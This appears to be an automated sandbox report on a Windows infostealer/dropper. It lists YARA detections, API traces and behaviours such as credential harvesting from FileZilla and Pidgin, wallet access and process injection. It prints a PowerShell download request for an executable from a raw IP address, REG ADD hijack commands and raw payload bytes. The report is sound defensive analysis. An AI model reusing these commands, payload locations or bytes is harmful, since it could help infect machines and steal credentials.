Process32NextW April 12, 2021, 10:43 a.m.	snapshot_handle: 0x0000012c process_name: pw.exe process_identifier: 9028	1	1	0
Process32NextW April 12, 2021, 10:43 a.m.	snapshot_handle: 0x0000012c process_name: taskhost.exe process_identifier: 7240	1	1	0
Process32NextW April 12, 2021, 10:43 a.m.	snapshot_handle: 0x0000012c process_name: DyEqOdpm.exe process_identifier: 7476	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 12, 2021, 10:43 a.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section	{u'size_of_data': u'0x00003400', u'virtual_address': u'0x00013000', u'entropy': 7.111835561466392, u'name': u'.rdata', u'virtual_size': u'0x000033a5'}				entropy	7.11183556147				description	A section with a high entropy has been found
section	{u'size_of_data': u'0x00001400', u'virtual_address': u'0x00019000', u'entropy': 7.617313454950168, u'name': u'.rsrc', u'virtual_size': u'0x00001324'}				entropy	7.61731345495				description	A section with a high entropy has been found

URL downloaded by powershell script (2 events)

Data received

U‹ìƒìd¡,(p‘IWEä‹¿`aJ¡ìJJÇEôgCOIÇEøK`OCfÇEüKoÆEþ.;~4V¾ìJJVè7ƒ=ìJJÿYuEä‹ÏP軗 h!UHèo¡VèȜYY^‹Ç_ÉÃU‹ìƒìd¡,( IWEè‹¿¤PJ¡ì`JÇEølGZCfÇEüO^ÆEþ.;~4V¾ì`JVèÁœƒ=ì`JÿYuEè‹ÏPè*– h UHèù VèRœYY^‹Ç_ÉÃU‹ìQQd¡,ÇEølGZlfÇEüBZÆEþ.‹¡˜QJ;~9S»˜QJSè]œƒ=˜QJÿYu"VW¿ÈLJuøhóTH¥f¥¤è’ Sèë›YY_^[¸ÈLJÉÃU‹ìƒìd¡,ÇEðjKBKÇEôZKaLÇEøDKMZ‹¡hXJÆEü.;~9S»hXJSè雃=hXJÿYu"VW¿4WJuðhåTH¥¥¥¤è Sèw›YY_^[¸4WJÉÃU‹ìƒìd¡,( IWEì‹¿(PJ¡ ^JfÇEüjmÆEþ.;~4V¾ ^JVès›ƒ= ^JÿYuEì‹ÏP脖 hÔTH諟Vè›YY^‹Ç_ÉÃU‹ìƒìd¡,ÇEð}KBKÇEôMZaLÇEøDKMZ‹¡ÔTJÆEü.;~9S»ÔTJS蛃=ÔTJÿYu"VW¿YJuðhÆTH¥¥¥¤è;ŸS蔚YY_^[¸YJÉÃU‹ìƒìd¡,ÇEôjKBKÇEøZKjmÆEü.‹¡œWJ;~8S»œWJS虚ƒ=œWJÿYu!VW¿OJuôh¹TH¥¥¤èϞSè(šYY_^[¸OJÉÃU‹ìƒìd¡,ÇEð|KIiÇEôKZxOÇEøB[Ko‹¡ÐTJÆEü.;~9S»ÐTJSè&šƒ=ÐTJÿYu"VW¿ÐOJuðhTH¥¥¥¤è[žS贙YY_^[¸ÐOJÉÃU‹ìƒìd¡,ÇEð|KIaÇEô^K@eÇEøKWkV‹¡„`JfÇEüo.;~:S»„`JS谙ƒ=„`JÿYu#VW¿hOJuðhŽTH¥¥¥f¥èäSè=™YY_^[¸hOJÉÃjh¶Iè>˳ ƒeü‹Á÷Ð= r è⡉eèë'2ۈ]çë ‹Eì‹3Ɂ8ýÀ”Á‹ÁËeè2ۈ]çè”âƒMüÿŠÃe؋Mðd‰ _^[ÉÃU‹ìjjÿuÿuÿXpH]ÃU‹ì‹E‰ ‹Á]ÂU‹ìÿuMèäÿÿÿh°J‹ÁPè8ÌÌÿ<pH·ÈÉ€ ÀNÈQèÊÿÿÿÌU‹ì‹E Àt$ƒøtƒøtƒø"tƒøPuëhW€ëh€ë]Ãh@€èÿÿÿÌV3öVVQÿ pH Àuÿ<pH·ðÎ€ ÀNð‹Æ^ÃU‹ìSVW‹ú‹ÙWSÿ`pH Àt@PÿLpH‹ð öt3WSÿ$qH‹Uƒâv;ñs·4FƒÆƒê uî;ñs fƒ>t‹Æë3À_^[]ÀyÇ zItƒyt ÿqÿtpHÃU‹ìÿujÿqÿhpH]ÂU‹ìƒ}tÿujÿqÿ”pH]ÂU‹ì‹U Òu ‹ ÿuÿëƒ}u ‹ RÿP3ÀëÿuRjÿqÿPpH]ÂU‹ìÿujÿqÿ,pH]ÂU‹ìV‹ñè^ÿÿÿöE t jV豛YY‹Æ^]Âd¡,VW‹0¡ WJ;†~C¿ WJWè—ƒ= WJÿYu.ÿˆpHhíUHÇdWJzI£hWJÆlWJèA›W蚖YY¡p^J¿LNJ;†~`¾p^JVèŖƒ=p^JÿYuKƒ%XNJ3Àƒ%\NJhêUHÇLNJ|zIÇPNJdWJÇ`NJ£dNJ‰=TNJèϚVè(–YY‹Ç_^ÃU‹ì‹UVW‹ù ÒxP¸ÿÿÿ+ƒø |DBrƒæø;Ö9‹Æ÷e Òw0rƒøÿw)ƒøïw$‹OPR‹ ÿ Àtƒ`Nÿ‰8Ç@ ‰Hë3À_^]ÂU‹ì‹I‹ ]ÿ`U‹ì‹UV ÒxG¸ÿÿÿ+ƒø |;Brƒæø;Ö0‹Æ÷e Òw'rƒøÿw ƒøïw‹IPRÿu‹ ÿP ÀtNÿ‰Hë3À^]ÂðÿAAËÁÃU‹ìöE V‹ñt jVèí™YY‹Æ^]Âd¡,‹¡ÔXJ;~eV¾ÔXJVèW•ƒ=ÔXJÿYuN3ÀPPhˆMJ£„MJ£ MJ£¤MJÿ pH Àuÿ<pH·ÈÉ€ ÀNȉ ¤MJh÷UHè^™V跔YY^¸„MJÃV‹ñW~WÿpHƒ>tÿ6ÿ|rHƒ&WÿpH_^ÃU‹ìV‹ñèöE t j4Vè#™YY‹Æ^]‹AÇ PzI Àt'ƒI ÿ3҃I$ÿP‰Q‰Q‰Q‰Q‰Q‰Qf‰QÿpHVWèûþÿÿ‹ð~WÿpHƒn u‹ÎèbÿÿÿWÿpH_^ø9Hè±Åì SVWj äþÿÿ‹ÚQàþÿÿ‰ àþÿÿèä“ ƒeü3ö9u†™{,ÿ7Mè躌 ÆEü ƒeðEðPQEäPMèèô‹ ÆEüÿ0ÿ(rHPMì茌 MäÆEüèm• ƒ}ðÿt!ƒ½àþÿÿ„˜ÿµàþÿÿÿuìèfèYY ÀtdMìÆEü è:• ƒ}ðÿu•MèÆEüè(• FƒÇL;u‚jÿÿÿ‹]¾@sH‹û¥¥¥¥ äþÿÿ9 àþÿÿtÿµàþÿÿè Y‹Mô‹Ã_^[d‰ ÉÃköLMìó‹]‹û¥¥¥¥è̔ MèèĔ ëµh@€è*úÿÿÌU‹ìd¡jÿh@HPd‰%ƒì<SVW‹Ùèxýÿÿ‹ðƒ~   ~WÿpH3À3É@‰Eè9u+‰EȍEØPEȉMÌPV‰MЉMÔÿ„rH3ÒB¶Ê3Ò ÀEʈMèWÿpH€}脼EìPEäPÿprH À ¦‹Eì3ö‰uð‰uè=w‹Èèèøÿÿ„À‹Eìt èæš‹üëPMèèa‹ ‹uè‹ø‰uð ÿtRWÿuìÿuäÿxrH ÀuSjh@sHh|±HèQ³ƒÄ ÀuXÿu‹uäÿ,rHMȋ×VQ‹Èè«ýÿÿYY‹ðë|V‹6èœY öuóéV‹6èŠY öuó¸@€e¬‹Môd‰ _^[É‹Eä3ö‰EÜ Àt)G‰Eàjh|±HPèÓ²ƒÄ ÀtA‹EàFƒÀL‰Eà;uÜrݾ@sH}È¥¥¥¥uȍ}¸¥E¸jh@sHP¥¥¥è—²ƒÄ Àu‹uðëköL÷ëÌV‹6èöY öuóégÿÿÿƒ}„L ÿuè:ñYj@Y÷é‹ð ҏ3 |þÿÿÿ‡% ƒúÿŒ þ€‚ ‹ÆÑè‰E܁þ‹Îèd÷ÿÿ„Àt‹Æèc™‹uð‹üëVMèèۉ ‹uè‹ø‰uð ÿ„ÍÿuÜ3ÀWjÿÿuf‰Pjÿ0pH À„®ƒeE€{PtHÿsh &ÿsÿsÿsÿlrHjE¸PWÿuÿhrHÿu ÀtVÿtrHë V‹6èø Y öuóéiþÿÿjÿsÿ€rHjE¸PWÿuÿhrHÿu ÀtÿtrHë V‹6è¼ Y öuóé-þÿÿÿtrHë V‹6è

Data received

·Gf;Æ ‚‹Ïèþÿu˜Wèÿÿÿ‹u€Y„À‹E„YtW;Æ}h€u‹Ïè½·GPÿµlÿÿÿèdÿÿYYƒø s5Š€Ô‰H‹Mˆˆ XÿÿÿÿµXÿÿÿè™ÀüÿÿE„‹Ïèÿu˜W螏ÿÿë ;Æ}ë‹E„ÆE§ ë‹u€‹E„‹Mˆƒyu ÆE§ éoþÿÿ;ƍgþÿÿ‹}ˆ+ðj0‹ÏèGÀüÿƒî uò‹½TÿÿÿéIþÿÿÿu˜WèFÿÿYY„À„óûÿÿ‹E ‹‹pEØP‹ÎÿŒrH‹M ÿÖË ƒËÆEüƒ}è‰]œvR‹E ‹‹pEÀP‹ÎÿŒrH‹M ÿց˃ËÇEüƒ}ԍuÀ‰]œr‹uÀ€u‹Ï裷GÆE¦ f9tÆE¦öÃtƒãûMÀ‰]œèœ½üÿÇEüöÃtƒãýM؉]œè‚½üÿ€}¦tR‹Ïès‹E MÀQ‹‹p‹ÎÿŒrH‹M ÿÖÆ PÿÿÿEÀÿµPÿÿÿËM¨P‰]‰]œèß¾üÿMÀè/½üÿééúÿÿ‹E ‹‹p EØP‹ÎÿŒrH‹M ÿց˃ËÆEüƒ}è‰]œvR‹E ‹‹p EÀP‹ÎÿŒrH‹M ÿց˃ËÇEü ƒ}ԍuÀ‰]œr‹uÀ€u‹Ïè™·GÆE¦ f9tÆE¦öÃtƒãïMÀ‰]œè’¼üÿÇEüöÃtƒã÷M؉]œèx¼üÿ€}¦tV‹Ïèi‹E MÀQ‹‹p ‹ÎÿŒrH‹M ÿÖÆ tÿÿÿEÀÿµtÿÿÿË M¨P‰]‰]œèÕ½üÿMÀè%¼üÿÆE¥ éÛùÿÿ‹E ‹‹pEØP‹ÎÿŒrH‹M ÿցË@ƒË ÆEü ƒ}è‰]‰]œt/‹E ‹‹p EÀP‹ÎÿŒrH‹M ÿցË@€ÆE¦ ƒ}Љ]‰]œtÆE¦öÃ@tƒã¿MÀ‰]‰]œè¡»üÿÇEüöà tƒãߍM؉]‰]œè„»üÿ€}¦ŠE§„9ùÿÿÆE¥ é0ùÿÿ‹E ‹‹pEØP‹ÎÿŒrH‹M ÿցˀ‰]‰]œ‹ xÿÿÿ‹u˜ÆEüö@u/VWè7ŒÿÿYY„Àt"€u‹Ïèÿƒ}ìEØ·Or‹EØf;u<ƒ½|ÿÿÿuHƒ}¸ wBV‹Ïèàk„Àu!8Gu‹ÏèÃ}ìEØ·Or‹EØf;tƒ}ìEØr‹E؃eè3Éf‰ƒ}ìuØr‹uØÿu˜W詋ÿÿYY„ÀtI‹]˜ƒ}ìMØr‹M؋EèA;ðt-€u‹ÏèX·Gf;u‹ÏƒÆè`SWèc‹ÿÿYY„Àu½‹]ƒ}ìMØr‹M؋EèA;ðtÆE§ ÆEüMØéøüÿÿƒ½|ÿÿÿ„Þ÷ÿÿÿu˜ÆE¦Wè‹ÿÿYY„ÀtQ‹]˜€u‹Ïèß‹·OQjH‹p‹ÎÿŒrH‹hÿÿÿÿքÀt‹ÏÆE¦ èÏ SWèҊÿÿ‹µhÿÿÿYY„Àuµ‹]‹ |ÿÿÿ€¼dÿÿÿ  f÷ÿÿ€}¦ \÷ÿÿ° ˆE§éU÷ÿÿ‹M¸ƒù † ƒ}¼u¨r‹u¨ŠE¥ˆE¥ƒÆE¨ƒ}¼r‹E¨H;ðt4ÿu˜Wè^ŠÿÿYY„Àt"€u‹Ïè&f‹Gf;u‹Ïè1 ‹M¸ë¹‹M¸ƒ}¼E¨r‹E¨H;ðt‹uˆ‹Æƒ~r‹ƒfÆë€}¥‹uˆt j-j j‹Î臀ÿÿ‹E¼ƒør>‹M¨E‰ xÿÿÿ‰MŒ=r xÿÿÿPEŒPèý

Poweshell is sending data to a remote host (1 event)

Data sent

GET /po/tai1.exe HTTP/1.1 Host: 23.92.213.108 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 12, 2021, 10:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (41 events)

description	Code injection with CreateRemoteThread in a remote process				rule	inject_thread
description	Create a windows service				rule	create_service
description	Communications over UDP network				rule	network_udp_sock
description	Listen for incoming communication				rule	network_tcp_listen
description	Communications over P2P network				rule	network_p2p_win
description	Communications over HTTP				rule	network_http
description	File downloader/dropper				rule	network_dropper
description	Communications over FTP				rule	network_ftp
description	Communications over RAW socket				rule	network_tcp_socket
description	Communications use DNS				rule	network_dns
description	Communication using dga				rule	network_dga
description	Escalade priviledges				rule	escalate_priv
description	Take screenshot				rule	screenshot
description	Run a keylogger				rule	keylogger
description	Steal credential				rule	cred_local
description	Record Audio				rule	sniff_audio
description	APC queue tasks migration				rule	migrate_apc
description	Malware can spread east-west using share drive				rule	spreading_share
description	Create or check mutex				rule	win_mutex
description	Affect system registries				rule	win_registry
description	Affect system token				rule	win_token
description	Affect private profile				rule	win_private_profile
description	Affect private profile				rule	win_files_operation
description	Match Winsock 2 API library declaration				rule	Str_Win32_Winsock2_Library
description	Match Windows Inet API library declaration				rule	Str_Win32_Wininet_Library
description	Match Windows Inet API call				rule	Str_Win32_Internet_API
description	Match Windows Http API call				rule	Str_Win32_Http_API
description	(no description)				rule	DebuggerCheck__GlobalFlags
description	(no description)				rule	DebuggerCheck__QueryInfo
description	(no description)				rule	DebuggerCheck__RemoteAPI
description	(no description)				rule	DebuggerHiding__Thread
description	(no description)				rule	DebuggerHiding__Active
description	(no description)				rule	DebuggerException__ConsoleCtrl
description	(no description)				rule	DebuggerException__SetConsoleCtrl
description	(no description)				rule	ThreadControl__Context
description	(no description)				rule	SEH__vectored
description	(no description)				rule	Check_Dlls
description	Checks if being debugged				rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert				rule	antisb_threatExpert
description	Bypass DEP				rule	disable_dep
description	Affect hook table				rule	win_hook

Terminates another process (4 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess April 12, 2021, 10:42 a.m.	status_code: 0xffffffff process_identifier: 7748 process_handle: 0x000000d8		0	0
NtTerminateProcess April 12, 2021, 10:42 a.m.	status_code: 0xffffffff process_identifier: 7748 process_handle: 0x000000d8		3221225738	0
NtTerminateProcess April 12, 2021, 10:43 a.m.	status_code: 0xffffffff process_identifier: 8324 process_handle: 0x000000d8		0	0
NtTerminateProcess April 12, 2021, 10:43 a.m.	status_code: 0xffffffff process_identifier: 8324 process_handle: 0x000000d8		3221225738	0

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	"C:\Windows\sysnative\cmd" /c "C:\Users\test22\AppData\Local\Temp\42.tmp\43.tmp\44.bat C:\Users\test22\AppData\Local\Temp\aXSz3.exe"
cmdline	"C:\Windows\sysnative\cmd" /c "C:\Users\test22\AppData\Local\Temp\FE6D.tmp\FE6E.tmp\FE6F.bat C:\Users\test22\AppData\Local\Temp\aXSz3.exe"
cmdline	REG ADD HKCU\Software\Classes\CLSID\{fIVyUCyCgmYerDKhxywzCYHpaydQNEHJFGMJlsvEUxVbJBYZdTsUZShIZHHQYTVJJZjgDNeeOnJQOdvxQbp00e52-a214-4aGfgWBQtvSqxOkOREyJyBKuXxCVZOBjjnsGfdicRWTGVQHmjYPtuuQkXOxZYqUvnYGCdbzhxPoRzVpxIvPgNZuuByZUC-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
cmdline	REG ADD HKCU\Software\Classes\CLSID\{fIVyUCyCgmYerDKhxywzCYHpaydQNEHJFGMJlsvEUxVbJBYZdTsUZShIZHHQYTVJJZjgDNeeOnJQOdvxQbp00e52-a214-4aGfgWBQtvSqxOkOREyJyBKuXxCVZOBjjnsGfdicRWTGVQHmjYPtuuQkXOxZYqUvnYGCdbzhxPoRzVpxIvPgNZuuByZUC-8fba-4357bb0072ec} /f

Communicates with host for which no DNS query was performed (2 events)

host	172.217.25.14
host	23.92.213.108

Attempts to access Bitcoin/ALTCoin wallets (2 events)

file	C:\wallet.dat
file	C:\Users\test22\AppData\Roaming\Electrum\wallets

Deletes executed files from disk (3 events)

file	C:\Users\test22\AppData\Local\Temp\42.tmp\43.tmp\44.bat
file	C:\Users\test22\AppData\Local\Temp\42.tmp
file	C:\Users\test22\AppData\Local\Temp\42.tmp\43.tmp

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA April 12, 2021, 10:43 a.m.	key_handle: 0x00000230 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

Harvests credentials from local FTP client softwares (10 events)

file	C:\Users\Default\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\Default User\AppData\Roaming\FileZilla\recentservers.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file	C:\Users\Default\AppData\Roaming\FileZilla\recentservers.xml
file	C:\Users\Public\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\Public\AppData\Roaming\FileZilla\recentservers.xml
file	C:\Users\Default User\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\All Users\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\All Users\AppData\Roaming\FileZilla\recentservers.xml

Harvests information related to installed instant messenger clients (5 events)

file	C:\Users\All Users\AppData\Roaming\.purple\accounts.xml
file	C:\Users\Default User\AppData\Roaming\.purple\accounts.xml
file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml
file	C:\Users\Default\AppData\Roaming\.purple\accounts.xml
file	C:\Users\Public\AppData\Roaming\.purple\accounts.xml

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send April 12, 2021, 10:43 a.m.	buffer: GET /po/tai1.exe HTTP/1.1 Host: 23.92.213.108 Connection: Keep-Alive socket: 1260 sent: 74	1	74	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Local\Temp\DyEqOdpm.exe"
parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Local\Temp\DyEqOdpm.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Process injection	Process 7748 resumed a thread in remote process 7232
Time & API	Arguments	Status	Return	Repeated
NtResumeThread April 12, 2021, 10:42 a.m.	thread_handle: 0x000000000000006c suspend_count: 0 process_identifier: 7232	1	0	0

Creates a suspicious Powershell process (2 events)

option	-executionpolicy bypass				value	Attempts to bypass execution policy
option	-executionpolicy bypass				value	Attempts to bypass execution policy

The process powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\DyEqOdpm.exe